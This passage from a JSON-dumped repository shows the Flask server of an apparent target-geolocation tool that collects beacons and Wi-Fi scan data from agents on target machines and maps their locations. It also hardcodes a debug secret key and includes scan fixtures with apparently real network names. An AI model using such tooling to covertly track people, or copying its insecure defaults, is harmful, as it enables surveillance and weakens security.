    "content": "from flask import Flask\nfrom flask_bcrypt import Bcrypt\nfrom flask_sqlalchemy import SQLAlchemy\nimport logging\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-gk\", \"--googlekey\", dest=\"googlekey\", type=str, default='',\n                    help=\"Google API Key\")\nparser.add_argument(\"-ik\", \"--ipstackkey\", dest=\"ipstackkey\", type=str, default='',\n                    help=\"IPStack API Key\")\n\nopts = parser.parse_args()\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n# configuration\nSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'data.db')\nDEBUG = True\nSECRET_KEY = 'development key'\nSQLALCHEMY_TRACK_MODIFICATIONS = False\nGOOGLE_API_KEY = opts.googlekey   # Provide your google api key via command-line argument\nIPSTACK_API_KEY = opts.ipstackkey\n\napp = Flask(__name__)\napp.config.from_object(__name__)\nbcrypt = Bcrypt(app)\ndb = SQLAlchemy(app)\n# Logger cannot be imported until the db is initialized\nfrom honeybadger.utils import Logger\nlogger = Logger()\n\nif __name__ != '__main__':\n    gunicorn_logger = logging.getLogger('gunicorn.error')\n    # only use handler if gunicorn detected, otherwise default\n    if gunicorn_logger.handlers:\n        app.logger.handlers = gunicorn_logger.handlers\n        app.logger.setLevel(gunicorn_logger.level)\n\nfrom honeybadger import models\nfrom honeybadger import views\n\ndef initdb(username, password):\n    db.create_all()\n    import binascii\n    u = models.User(email=username, password_hash=bcrypt.generate_password_hash(binascii.hexlify(password.encode())), role=0, status=1)\n    db.session.add(u)\n    db.session.commit()\n    print('Database initialized.')\n    # remove below for production\n    t = models.Target(name='demo', guid='aedc4c63-8d13-4a22-81c5-d52d32293867')\n    db.session.add(t)\n    db.session.commit()\n    b = models.Beacon(target_guid='aedc4c63-8d13-4a22-81c5-d52d32293867', agent='HTML', ip='1.2.3.4', port='80', useragent='Mac OS X', comment='this is a comment.', lat='38.2531419', lng='-85.7564855', acc='5')\n    db.session.add(b)\n    db.session.commit()\n    b = models.Beacon(target_guid='aedc4c63-8d13-4a22-81c5-d52d32293867', agent='HTML', ip='5.6.7.8', port='80', useragent='Mac OS X', comment='this is a comment.', lat='34.855117', lng='-82.114192', acc='1')\n    db.session.add(b)\n    db.session.commit()\n\ndef dropdb():\n    db.drop_all()\n    print('Database dropped.')\n"
  },
  {
    "path": "server/honeybadger/constants.py",
    "content": "ROLES = {\n    0: 'admin',\n    1: 'analyst',\n}\n\nSTATUSES = {\n    0: 'initialized',\n    1: 'active',\n    2: 'inactive',\n    3: 'reset',\n}\n\nLEVELS = {\n    10: 'DEBUG',\n    20: 'INFO',\n    30: 'WARN',\n    40: 'ERROR',\n    50: 'CRITICAL',\n}\n\nCHANNELS = {\n    1: range(2401, 2423+1),\n    2: range(2406, 2428+1),\n    3: range(2411, 2433+1),\n    4: range(2416, 2438+1),\n    5: range(2421, 2443+1),\n    6: range(2426, 2448+1),\n    7: range(2431, 2453+1),\n    8: range(2436, 2458+1),\n    9: range(2441, 2463+1),\n    10: range(446, 2468+1),\n    11: range(451, 2473+1),\n    12: range(456, 2478+1),\n    13: range(461, 2483+1),\n    14: range(473, 2495+1),\n    36: range(5180, 5180+1),\n    40: range(5200, 5200+1),\n    44: range(5220, 5220+1),\n    48: range(5240, 5240+1),\n    52: range(5260, 5260+1),\n    56: range(5280, 5280+1),\n    60: range(5300, 5300+1),\n    64: range(5320, 5320+1),\n    100: range(5500, 5500+1),\n    104: range(5520, 5520+1),\n    108: range(5540, 5540+1),\n    112: range(5560, 5560+1),\n    116: range(5580, 5580+1),\n    120: range(5600, 5600+1),\n    124: range(5620, 5620+1),\n    128: range(5640, 5640+1),\n    132: range(5660, 5660+1),\n    136: range(5680, 5680+1),\n    140: range(5700, 5700+1),\n    149: range(5745, 5745+1),\n    153: range(5765, 5765+1),\n    157: range(5785, 5785+1),\n    161: range(5805, 5805+1),\n    165: range(5825, 5825+1),\n}\n"
  },
  {
    "path": "server/honeybadger/decorators.py",
    "content": "from flask import g, redirect, url_for, abort, make_response\nfrom honeybadger.constants import ROLES\nfrom functools import wraps\nfrom threading import Thread\n\ndef login_required(func):\n    @wraps(func)\n    def wrapped(*args, **kwargs):\n        if g.user:\n            return func(*args, **kwargs)\n        return redirect(url_for('login'))\n    return wrapped\n\ndef roles_required(*roles):\n    def wrapper(func):\n        @wraps(func)\n        def wrapped(*args, **kwargs):\n            if ROLES[g.user.role] not in roles:\n                return abort(403)\n            return func(*args, **kwargs)\n        return wrapped\n    return wrapper\n\ndef async(func):\n    def wrapper(*args, **kwargs):\n        thr = Thread(target=func, args=args, kwargs=kwargs)\n        thr.start()\n    return wrapper\n\ndef no_cache(func):\n    @wraps(func)\n    def wrapped(*args, **kwargs):\n        response = make_response(func(*args, **kwargs))\n        response.headers['Pragma'] = 'no-cache'\n        response.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'\n        response.headers['Expires'] = '0'\n        return response\n    return wrapped\n"
  },
  {
    "path": "server/honeybadger/models.py",
    "content": "from honeybadger import db, bcrypt\nfrom honeybadger.constants import ROLES, STATUSES, LEVELS\nfrom honeybadger.utils import generate_guid\nimport binascii\nimport datetime\n\ndef stringify_datetime(value):\n    \"\"\"Deserialize datetime object into string form for JSON processing.\"\"\"\n    if value is None:\n        return None\n    return value.strftime(\"%Y-%m-%d %H:%M:%S\")\n\nclass BaseModel(db.Model):\n    __abstract__ = True\n    id = db.Column(db.Integer, primary_key=True)\n    created = db.Column(db.DateTime, nullable=False, default=datetime.datetime.now)\n\n    @property\n    def created_as_string(self):\n        return stringify_datetime(self.created)\n\nclass Log(BaseModel):\n    __tablename__ = 'logs'\n    level = db.Column(db.Integer, nullable=False)\n    message = db.Column(db.String)\n\n    @property\n    def level_as_string(self):\n        return LEVELS[self.level]\n\nclass Beacon(BaseModel):\n    __tablename__ = 'beacons'\n    target_guid = db.Column(db.String, db.ForeignKey('targets.guid'), nullable=False)\n    agent = db.Column(db.String)\n    ip = db.Column(db.String)\n    port = db.Column(db.String)\n    useragent = db.Column(db.String)\n    comment = db.Column(db.String)\n    lat = db.Column(db.String)\n    lng = db.Column(db.String)\n    acc = db.Column(db.String)\n\n    @property\n    def serialized(self):\n        \"\"\"Return object data in easily serializeable format\"\"\"\n        return {\n            'id': self.id,\n            'created': stringify_datetime(self.created),\n            'target': self.target.name,\n            'agent': self.agent,\n            'ip': self.ip,\n            'port': self.port,\n            'useragent': self.useragent,\n            'comment': self.comment,\n            'lat': self.lat,\n            'lng': self.lng,\n            'acc': self.acc,\n        }\n\n    def __repr__(self):\n        return \"<Beacon '{}'>\".format(self.target.name)\n\nclass Target(BaseModel):\n    __tablename__ = 'targets'\n    name = db.Column(db.String)\n    guid = db.Column(db.String, default=generate_guid)\n    beacons = db.relationship('Beacon', cascade=\"all,delete\", backref='target', lazy='dynamic')\n\n    @property\n    def beacon_count(self):\n        return len(self.beacons.all())\n\n    def __repr__(self):\n        return \"<Target '{}'>\".format(self.name)\n\nclass User(BaseModel):\n    __tablename__ = 'users'\n    email = db.Column(db.String, nullable=False, unique=True)\n    password_hash = db.Column(db.String)\n    role = db.Column(db.Integer, nullable=False, default=1)\n    status = db.Column(db.Integer, nullable=False, default=0)\n    token = db.Column(db.String)\n\n    @property\n    def role_as_string(self):\n        return ROLES[self.role]\n\n    @property\n    def status_as_string(self):\n        return STATUSES[self.status]\n\n    @property\n    def password(self):\n        raise AttributeError('password: write-only field')\n\n    @password.setter\n    def password(self, password):\n        self.password_hash = bcrypt.generate_password_hash(binascii.hexlify(password))\n\n    def check_password(self, password):\n        return bcrypt.check_password_hash(self.password_hash, binascii.hexlify(password.encode()))\n\n    @property\n    def is_admin(self):\n        if self.role == 0:\n            return True\n        return False\n\n    @staticmethod\n    def get_by_email(email):\n        return User.query.filter_by(email=email).first()\n\n    def __repr__(self):\n        return \"<User '{}'>\".format(self.email)\n"
  },
  {
    "path": "server/honeybadger/parsers.py",
    "content": "from honeybadger.utils import freq2channel\nimport os\n\nclass AP(object):\n\n    def __init__(self, ssid=None, bssid=None, ss=None, channel=None):\n        self.ssid = ssid\n        self.bssid = bssid\n        self.ss = ss\n        self.channel = channel\n\n    @property\n    def serialized_for_google(self):\n        return {\n            'macAddress': self.bssid,\n            'signalStrength': self.ss,\n            'channel': self.channel,\n        }\n\n    def __repr__(self):\n        return '<AP ssid={}, bssid={}, ss={}, channel={}>'.format(self.ssid, self.bssid, self.ss, self.channel)\n\ndef parse_google(jsondata):\n    aps = []\n    for ap in jsondata[0]['ap_list']:\n        aps.append(AP(bssid=ap['bssid'], ss=ap['signal_level'], channel=freq2channel(ap['frequency'])))\n    return aps\n\ndef parse_airport(content):\n    aps = []\n    lines = [l.strip() for l in content.strip().split(os.linesep)]\n    for line in lines[1:]:\n        words = line.split()\n        aps.append(AP(ssid=words[0], bssid=words[1], ss=int(words[2]), channel=int(words[3])))\n    return aps\n\ndef parse_netsh(content):\n    aps = []\n    lastssid = None\n    lines = [l.strip() for l in content.strip().split(os.linesep)]\n    for line in lines:\n        words = line.split()\n        # use startswith to avoid index errors\n        if line.startswith('SSID'):\n            lastssid = ' '.join(words[3:])\n        elif line.startswith('BSSID'):\n            ap = AP(ssid=lastssid)\n            ap.bssid = words[3]\n        elif line.startswith('Signal'):\n            dbm = int(words[2][:-1]) - 100\n            ap.ss = dbm\n        elif line.startswith('Channel'):\n            ap.channel = int(words[2])\n            aps.append(ap)\n    return aps\n\ndef parse_iwlist(content):\n    aps = []\n    lines = [l.strip() for l in content.strip().split(os.linesep)]\n    for line in lines:\n        words = line.split()\n        if line.startswith('Cell'):\n            ap = AP(bssid=words[4])\n        elif line.startswith('Channel:'):\n            ap.channel = int(words[0].split(':')[-1])\n        elif line.startswith('Quality='):\n            ap.ss = int(words[2][6:])\n        elif line.startswith('ESSID:'):\n            ap.ssid = line[7:-1]\n            aps.append(ap)\n    return aps\n\nairport_test = '''                            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)\n                    gogoinflight 00:3a:9a:ea:1f:42 -78  40      N  -- NONE\n                    gogoinflight 00:24:c3:50:54:22 -47  36      N  -- NONE\n                    gogoinflight 00:3a:9a:ec:e6:02 -69  6       N  -- NONE\n                    gogoinflight 00:24:c3:31:cd:d2 -41  1       N  -- NONE\n'''\n\nnetsh_test = '''SSID 1 : Home\n    Network type            : Infrastructure\n    Authentication          : WPA2-Personal\n    Encryption              : CCMP\n    BSSID 1                 : 00:1e:c2:f6:7e:98\n         Signal             : 99%\n         Radio type         : 802.11n\n         Channel            : 157\n         Basic rates (Mbps) : 24 39 156\n         Other rates (Mbps) : 18 19.5 36 48 54\n    BSSID 2                 : 00:1c:10:08:b7:a5\n         Signal             : 33%\n         Radio type         : 802.11g\n         Channel            : 11\n         Basic rates (Mbps) : 1 2 5.5 11\n         Other rates (Mbps) : 6 9 12 18 24 36 48 54\n    BSSID 3                 : 00:1e:c2:f6:7e:97\n         Signal             : 90%\n         Radio type         : 802.11n\n         Channel            : 1\n         Basic rates (Mbps) : 1 2 5.5 11\n         Other rates (Mbps) : 6 9 12 18 24 36 48 54\n\nSSID 2 :\n    Network type            : Infrastructure\n    Authentication          : Open\n    Encryption              : WEP\n    BSSID 1                 : 62:45:b0:34:d3:53\n         Signal             : 33%\n         Radio type         : Any Radio Type\n         Channel            : 44\n         Basic rates (Mbps) :\n\nSSID 3 : ATT5727\n    Network type            : Infrastructure\n    Authentication          : WPA2-Personal\n    Encryption              : CCMP\n    BSSID 1                 : 80:37:73:7b:7c:1f\n         Signal             : 31%\n         Radio type         : 802.11n\n         Channel            : 11\n         Basic rates (Mbps) : 1 2 5.5 11\n         Other rates (Mbps) : 6 9 12 18 24 36 48 54\n\nSSID 4 : 320Burbridge\n    Network type            : Infrastructure\n    Authentication          : WPA2-Personal\n    Encryption              : CCMP\n    BSSID 1                 : 00:1f:33:48:7f:f0\n         Signal             : 40%\n         Radio type         : 802.11n\n         Channel            : 6\n         Basic rates (Mbps) : 1 2 5.5 11\n         Other rates (Mbps) : 6 9 12 18 24 36 48 54\n\nSSID 5 : 320Burbridge_EXT\n    Network type            : Infrastructure\n    Authentication          : WPA2-Personal\n    Encryption              : CCMP\n    BSSID 1                 : c0:ff:d4:c2:07:b6\n         Signal             : 30%\n         Radio type         : 802.11n\n         Channel            : 6\n         Basic rates (Mbps) : 1 2\n         Other rates (Mbps) : 5.5 6 9 11 12 18 24 36 48 54\n\nSSID 6 : ATT3600\n    Network type            : Infrastructure\n    Authentication          : WPA2-Personal\n    Encryption              : CCMP\n    BSSID 1                 : e8:fc:af:d9:d1:14\n         Signal             : 31%\n         Radio type         : 802.11n\n         Channel            : 1\n         Basic rates (Mbps) : 1 2 5.5 11\n         Other rates (Mbps) : 6 9 12 18 24 36 48 54\n\n'''\n\niwlist_test = '''wlan1     Scan completed :\n          Cell 01 - Address: 00:1E:C2:F6:7E:97\n                    Channel:1\n                    Frequency:2.412 GHz (Channel 1)\n                    Quality=61/70  Signal level=-49 dBm  \n                    Encryption key:on\n                    ESSID:\"Home\"\n                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s\n                              9 Mb/s; 12 Mb/s; 18 Mb/s\n                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s\n                    Mode:Master\n                    Extra:tsf=000002b198bd7947\n                    Extra: Last beacon: 3092ms ago\n                    IE: Unknown: 0004486F6D65\n                    IE: Unknown: 010882848B960C121824\n                    IE: Unknown: 030101\n                    IE: Unknown: 0706555320010B1E\n                    IE: Unknown: 2A0102\n                    IE: Unknown: 32043048606C\n                    IE: IEEE 802.11i/WPA2 Version 1\n                        Group Cipher : TKIP\n                        Pairwise Ciphers (2) : CCMP TKIP\n                        Authentication Suites (1) : PSK\n                    IE: Unknown: 2D1AAC4117FFFFFF0000000000000000000000000000000000000000\n                    IE: Unknown: 33027E9D\n                    IE: Unknown: 3D1601001100000000000000000000000000000000000000\n                    IE: Unknown: 46050200010000\n                    IE: WPA Version 1\n                        Group Cipher : TKIP\n                        Pairwise Ciphers (1) : TKIP\n                        Authentication Suites (1) : PSK\n                    IE: Unknown: DD180050F2020101010003A4000027A4000042435E0062322F00\n                    IE: Unknown: DD0700039301720320\n                    IE: Unknown: DD0E0017F20700010106001EC2F67E97\n                    IE: Unknown: DD0B0017F20100010100000007\n          Cell 02 - Address: C8:B3:73:02:F0:3B\n                    Channel:1\n                    Frequency:2.412 GHz (Channel 1)\n                    Quality=33/70  Signal level=-77 dBm  \n                    Encryption key:on\n                    ESSID:\"319 Burbridge Ct\"\n                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s\n                              24 Mb/s; 36 Mb/s; 54 Mb/s\n                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s\n                    Mode:Master\n                    Extra:tsf=0000000ac57bf5a0\n                    Extra: Last beacon: 16024ms ago\n                    IE: Unknown: 001033313920427572627269646765204374\n                    IE: Unknown: 010882848B962430486C\n                    IE: Unknown: 030101\n                    IE: Unknown: 2A0104\n                    IE: Unknown: 2F0104\n                    IE: IEEE 802.11i/WPA2 Version 1\n                        Group Cipher : TKIP\n                        Pairwise Ciphers (2) : CCMP TKIP\n                        Authentication Suites (1) : PSK\n                    IE: Unknown: 32040C121860\n                    IE: Unknown: 2D1AFC181BFFFF000000000000000000000000000000000000000000\n                    IE: Unknown: 3D1601081500000000000000000000000000000000000000\n                    IE: Unknown: 4A0E14000A002C01C800140005001900\n                    IE: Unknown: 7F0101\n                    IE: Unknown: DD840050F204104A0001101044000102103B000103104700101C18BB447704CE8C3AAB08F3407263FF10210005436973636F1023000D4C696E6B7379732045323530301024000776312E302E30371042000234321054000800060050F20400011011000D4C696E6B737973204532353030100800022688103C0001031049000600372A000120\n                    IE: Unknown: DD090010180203F0040000\n                    IE: WPA Version 1\n                        Group Cipher : TKIP\n                        Pairwise Ciphers (2) : CCMP TKIP\n                        Authentication Suites (1) : PSK\n                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00\n          Cell 03 - Address: 00:1C:10:08:B7:A5\n                    Channel:11\n                    Frequency:2.462 GHz (Channel 11)\n                    Quality=37/70  Signal level=-73 dBm  \n                    Encryption key:on\n                    ESSID:\"Home\"\n                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s\n                              24 Mb/s; 36 Mb/s; 54 Mb/s\n                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s\n                    Mode:Master\n                    Extra:tsf=00000029f37bf68e\n                    Extra: Last beacon: 924ms ago\n                    IE: Unknown: 0004486F6D65\n                    IE: Unknown: 010882848B962430486C\n                    IE: Unknown: 03010B\n                    IE: Unknown: 2A0100\n                    IE: Unknown: 2F0100\n                    IE: IEEE 802.11i/WPA2 Version 1\n                        Group Cipher : CCMP\n                        Pairwise Ciphers (1) : CCMP\n                        Authentication Suites (1) : PSK\n                    IE: Unknown: 32040C121860\n                    IE: Unknown: DD090010180201F0000000\n                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00\n          Cell 04 - Address: C8:B3:73:02:F0:3D\n                    Channel:1\n                    Frequency:2.412 GHz (Channel 1)\n                    Quality=31/70  Signal level=-79 dBm  \n                    Encryption key:off\n                    ESSID:\"319 Burbridge Ct-guest\"\n                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s\n                              24 Mb/s; 36 Mb/s; 54 Mb/s\n                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s\n                    Mode:Master\n                    Extra:tsf=0000000ac57c3254\n                    Extra: Last beacon: 16024ms ago\n                    IE: Unknown: 0016333139204275726272696467652043742D6775657374\n                    IE: Unknown: 010882848B962430486C\n                    IE: Unknown: 030101\n                    IE: Unknown: 2A0104\n                    IE: Unknown: 2F0104\n                    IE: Unknown: 32040C121860\n                    IE: Unknown: 2D1AFC181BFFFF000000000000000000000000000000000000000000\n                    IE: Unknown: 3D1601081500000000000000000000000000000000000000\n                    IE: Unknown: 4A0E14000A002C01C800140005001900\n                    IE: Unknown: 7F0101\n                    IE: Unknown: DD090010180203F0040000\n                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00\n          Cell 05 - Address: C0:83:0A:CE:D2:C9\n                    Channel:11\n                    Frequency:2.462 GHz (Channel 11)\n                    Quality=27/70  Signal level=-83 dBm  \n                    Encryption key:on\n                    ESSID:\"2WIRE698\"\n                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s\n                              9 Mb/s; 12 Mb/s; 18 Mb/s\n                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s\n                    Mode:Master\n                    Extra:tsf=00000333ab61d181\n                    Extra: Last beacon: 17172ms ago\n                    IE: Unknown: 00083257495245363938\n                    IE: Unknown: 010882848B960C121824\n                    IE: Unknown: 03010B\n                    IE: Unknown: 050400010000\n                    IE: Unknown: 0706555320010B1B\n                    IE: Unknown: 2A0100\n                    IE: Unknown: 32043048606C\n          Cell 06 - Address: 00:24:B2:91:BB:1C\n                    Channel:6\n                    Frequency:2.437 GHz (Channel 6)\n                    Quality=29/70  Signal level=-81 dBm  \n                    Encryption key:on\n                    ESSID:\"Toadstool\"\n                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s\n                              24 Mb/s; 36 Mb/s; 54 Mb/s\n                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s\n                    Mode:Master\n                    Extra:tsf=00000001f5c0458a\n                    Extra: Last beacon: 2108ms ago\n                    IE: Unknown: 0009546F616473746F6F6C\n                    IE: Unknown: 010882848B962430486C\n                    IE: Unknown: 030106\n                    IE: Unknown: 2A0100\n                    IE: Unknown: 2F0100\n                    IE: IEEE 802.11i/WPA2 Version 1\n                        Group Cipher : CCMP\n                        Pairwise Ciphers (1) : CCMP\n                        Authentication Suites (1) : PSK\n                    IE: Unknown: 32040C121860\n                    IE: Unknown: DD090010180200F0000000\n                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00\n\neth0      Interface doesn't support scanning.\n\nlo        Interface doesn't support scanning.\n\n'''\n"
  },
  {
    "path": "server/honeybadger/plugins.py",
    "content": "from honeybadger import app, logger\nimport requests\nimport json\n\ndef get_coords_from_google(aps):\n    logger.info('Geolocating via Google Geolocation API.')\n    url = 'https://www.googleapis.com/geolocation/v1/geolocate?key={}'.format(app.config['GOOGLE_API_KEY'])\n    data = {\"wifiAccessPoints\": []}\n    for ap in aps:\n        data['wifiAccessPoints'].append(ap.serialized_for_google)\n    data_json = json.dumps(data)\n    headers = {'Content-Type': 'application/json'}\n    response = requests.post(url=url, data=data_json, headers=headers)\n    logger.info(\"Google API response: {}\".format(response.content))\n    jsondata = None\n    try:\n        jsondata = response.json()\n    except ValueError as e:\n        logger.error('{}.'.format(e))\n    data = {'lat':None, 'lng':None, 'acc':None}\n    if jsondata:\n        data['acc'] = jsondata['accuracy']\n        data['lat'] = jsondata['location']['lat']\n        data['lng'] = jsondata['location']['lng']\n    return data\n\ndef get_coords_from_ipstack(ip):\n    logger.info('Geolocating via Ipstack API.')\n    url = 'http://api.ipstack.com/{0}?access_key={1}'.format(ip, app.config['IPSTACK_API_KEY'])\n    response = requests.get(url)\n    logger.info('Ipstack API response:\\n{}'.format(response.content))\n    jsondata = None\n    try:\n        jsondata = response.json()\n    except ValueError as e:\n        logger.error('{}.'.format(e))\n\n    data = {'lat':None, 'lng':None}\n\n    # Avoid the KeyError. For some reason, a successful API call to Ipstack doesn't include\n    #   the 'success' key in the json result, but a failed call does, and the value is False\n    if 'success' in jsondata and not jsondata['success']:\n        logger.info('Ipstack API call failed: {}'.format(jsondata['error']['type']))\n        # Return with empty data so the caller knows to default to the fallback API\n        return data\n\n    if jsondata:\n        data['lat'] = jsondata['latitude']\n        data['lng'] = jsondata['longitude']\n    return data\n\ndef get_coords_from_ipinfo(ip):\n    # New fallback, ipinfo doesn't require an API key for a certain number of API calls\n    logger.info('Geolocating via Ipinfo.io API.')\n    url = 'https://ipinfo.io/{}'.format(ip)\n    response = requests.get(url)\n    logger.info('Ipinfo.io API response:\\n{}'.format(response.content))\n    jsondata = None\n    try:\n        jsondata = response.json()\n    except ValueError as e:\n        logger.error('{}.'.format(e))\n    data = {'lat':None, 'lng':None}\n    if jsondata and 'loc' in jsondata:\n        data['lat'] = jsondata['loc'].split(',')[0]\n        data['lng'] = jsondata['loc'].split(',')[1]\n    if 'bogon' in jsondata and jsondata['bogon']:\n        logger.info('Ipinfo.io cannot geolocate IP {}'.format(ip))\n    return data\n"
  },
  {
    "path": "server/honeybadger/processors.py",
    "content": "from honeybadger import db, logger\nfrom honeybadger.models import Beacon\nfrom honeybadger.parsers import parse_airport, parse_netsh, parse_iwlist, parse_google\nfrom honeybadger.plugins import get_coords_from_google, get_coords_from_ipstack, get_coords_from_ipinfo\nfrom base64 import b64decode as b64d\nimport re\n\ndef add_beacon(*args, **kwargs):\n    b = Beacon(**kwargs)\n    db.session.add(b)\n    db.session.commit()\n    logger.info('Target location identified as Lat: {}, Lng: {}'.format(kwargs['lat'], kwargs['lng']))\n\ndef process_json(data, jsondata):\n    logger.info('Processing JSON data.')\n    logger.info('Data received:\\n{}'.format(jsondata))\n    # process Google device data\n    if jsondata.get('scan_results'):\n        aps = parse_google(jsondata['scan_results'])\n        if aps:\n            logger.info('Parsed access points: {}'.format(aps))\n            coords = get_coords_from_google(aps)\n            if all([x for x in coords.values()]):\n                add_beacon(\n                    target_guid=data['target'],\n                    agent=data['agent'],\n                    ip=data['ip'],\n                    port=data['port'],\n                    useragent=data['useragent'],\n                    comment=data['comment'],\n                    lat=coords['lat'],\n                    lng=coords['lng'],\n                    acc=coords['acc'],\n                )\n                return True\n            else:\n                logger.error('Invalid coordinates data.')\n        else:\n            # handle empty data\n            logger.info('No AP data received.')\n    else:\n        # handle unrecognized data\n        logger.info('Unrecognized data received from the agent.')\n\ndef process_known_coords(data):\n    logger.info('Processing known coordinates.')\n    add_beacon(\n        target_guid=data['target'],\n        agent=data['agent'],\n        ip=data['ip'],\n        port=data['port'],\n        useragent=data['useragent'],\n        comment=data['comment'],\n        lat=data['lat'],\n        lng=data['lng'],\n        acc=data['acc'],\n    )\n    return True\n\ndef process_wlan_survey(data):\n    logger.info('Processing wireless survey data.')\n    os = data['os']\n    _data = data['data']\n    content = b64d(_data).decode()\n    logger.info('Data received:\\n{}'.format(_data))\n    logger.info('Decoded Data:\\n{}'.format(content))\n    if _data:\n        aps = []\n        if re.search('^mac os x', os.lower()):\n            aps = parse_airport(content)\n        elif re.search('^windows', os.lower()):\n            aps = parse_netsh(content)\n        elif re.search('^linux', os.lower()):\n            aps = parse_iwlist(content)\n        # handle recognized data\n        if aps:\n            logger.info('Parsed access points: {}'.format(aps))\n            coords = get_coords_from_google(aps)\n            if all([x for x in coords.values()]):\n                add_beacon(\n                    target_guid=data['target'],\n                    agent=data['agent'],\n                    ip=data['ip'],\n                    port=data['port'],\n                    useragent=data['useragent'],\n                    comment=data['comment'],\n                    lat=coords['lat'],\n                    lng=coords['lng'],\n                    acc=coords['acc'],\n                )\n                return True\n            else:\n                logger.error('Invalid coordinates data.')\n        else:\n            # handle unrecognized data\n            logger.info('No parsable WLAN data received.')\n    else:\n        # handle blank data\n        logger.info('No data received from the agent.')\n    return False\n\ndef process_ip(data):\n    logger.info('Processing IP address.')\n    coords = get_coords_from_ipstack(data['ip'])\n    if not all([x for x in coords.values()]):\n        # No data. try again with the fallback.\n        logger.info('Using fallback API.')\n        coords = get_coords_from_ipinfo(data['ip'])\n\n    if all([x for x in coords.values()]):\n        add_beacon(\n            target_guid=data['target'],\n            agent=data['agent'],\n            ip=data['ip'],\n            port=data['port'],\n            useragent=data['useragent'],\n            comment=data['comment'],\n            lat=coords['lat'],\n            lng=coords['lng'],\n            acc='Unknown',\n        )\n        return True\n    else:\n        logger.error('Invalid coordinates data.')\n    return False\n"
  },
  {
    "path": "server/honeybadger/static/badger.css",
    "content": "html {\n    height: 100%;\n}\n\nbody {\n    font-family: Raleway, Arial, Helvetica, sans-serif;\n    font-size: 1.5rem;\n    height: 100%;\n    margin: 0;\n    padding: 0;\n}\n\ntd input, td select {\n    vertical-align: middle;\n    margin-top: .5rem;\n    margin-bottom: .5rem;\n}\n\n/* overwrite skeleton button style */\n.button,\nbutton,\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n  font-size: 1.25rem;\n  color: white;\n  background-color: #f69741;\n  border-color: #bbb;\n  padding: 0 1rem;\n}\n.button:hover,\nbutton:hover,\ninput[type=\"submit\"]:hover,\ninput[type=\"reset\"]:hover,\ninput[type=\"button\"]:hover,\n.button:focus,\nbutton:focus,\ninput[type=\"submit\"]:focus,\ninput[type=\"reset\"]:focus,\ninput[type=\"button\"]:focus {\n  color: white;\n  background-color: #f4821c;\n  border-color: 0;\n}\n\n.flash {\n    color: white;\n    position: absolute;\n    z-index: 100;\n    top: 10px;\n    left: 50%;\n    transform: translateX(-50%);\n    height: 2rem;\n    padding: 5px 10px;\n    font-size: 1.5rem;\n    text-align: center;\n    line-height: 2rem;\n    visibility: hidden;\n}\n\n.nav {\n    display: table;\n    /*color: red;*/\n    width: 100%;\n    padding: 0;\n    text-align: right;\n}\n\n.nav div{\n    display: table-cell;\n    vertical-align: middle;\n}\n\n.nav .brand {\n    float: left;\n    font-size: 3rem;\n    margin-left: 1rem\n}\n\n.nav .links {\n    font-weight: bolder;\n    padding-right: 2rem\n}\n\n.nav ul {\n    list-style-type: none;\n    margin: 0;\n    padding: 0;\n}\n\n.nav li {\n    display: inline;\n}\n\n.nav a {\n    color: inherit;\n    text-decoration: none;\n}\n\n.login {\n    padding: 50px 20px;\n}\n\n.login img {\n    display: block;\n    margin-left: auto;\n    margin-right: auto;\n    width: 100%;\n    height: auto;\n}\n\n.login div {\n    margin-left: auto;\n    margin-right: auto;\n    padding: 10px;\n}\n\n.login form {\n    margin: 0;\n}\n\n.login label {\n    color: white;\n}\n\n.login a {\n    text-decoration: underline;\n}\n\n.login p {\n    margin-bottom: 1.5rem;\n}\n\n.map {\n    display: block;\n    position: absolute;\n    height: auto;\n    bottom: 0;\n    top: 0;\n    left: 0;\n    right: 0;\n    margin-top: 5rem;\n    border-top: 2px solid #f69741;\n}\n\n.iw-content {\n    max-width: 300px;\n    margin-bottom: 0;\n}\n\n.iw-content caption {\n    background-color: #f69741;\n    color: white;\n    font-size: 2.5rem;\n    font-weight: 400;\n}\n\n.iw-content td {\n    padding-top: 0;\n    padding-bottom: 0;\n}\n\n.beacons th,\n.beacons td,\n.targets th,\n.targets td,\n.users th,\n.users td {\n    text-align: center;\n}\n\n.log pre {\n    display: inline-block;\n    text-align: left;\n    /*white-space: pre-wrap;*/\n    width: 100%;\n    max-width: 1200px;\n    height: 100vh;\n    padding: 1rem 1.5rem;\n    margin: 0 1rem;\n    border: 1px solid #bbb;\n}\n\n.filter {\n    color: white;\n    position: absolute;\n    top: 6rem;\n    left: 1rem;\n    z-index: 99;\n    padding: 10px;\n}\n\n.filter hr {\n    border-color: #f69741;\n    margin: 0;\n}\n\n.filter input {\n    margin: 0;\n}\n\n.form {\n    border: 2px solid #f69741;\n    /* Fallback for web browsers that doesn't support RGBa */\n    background: rgb(0, 0, 0);\n    /* RGBa opacity */\n    background: rgba(0, 0, 0, 0.6);\n}\n\n.rounded {\n    -webkit-border-radius: 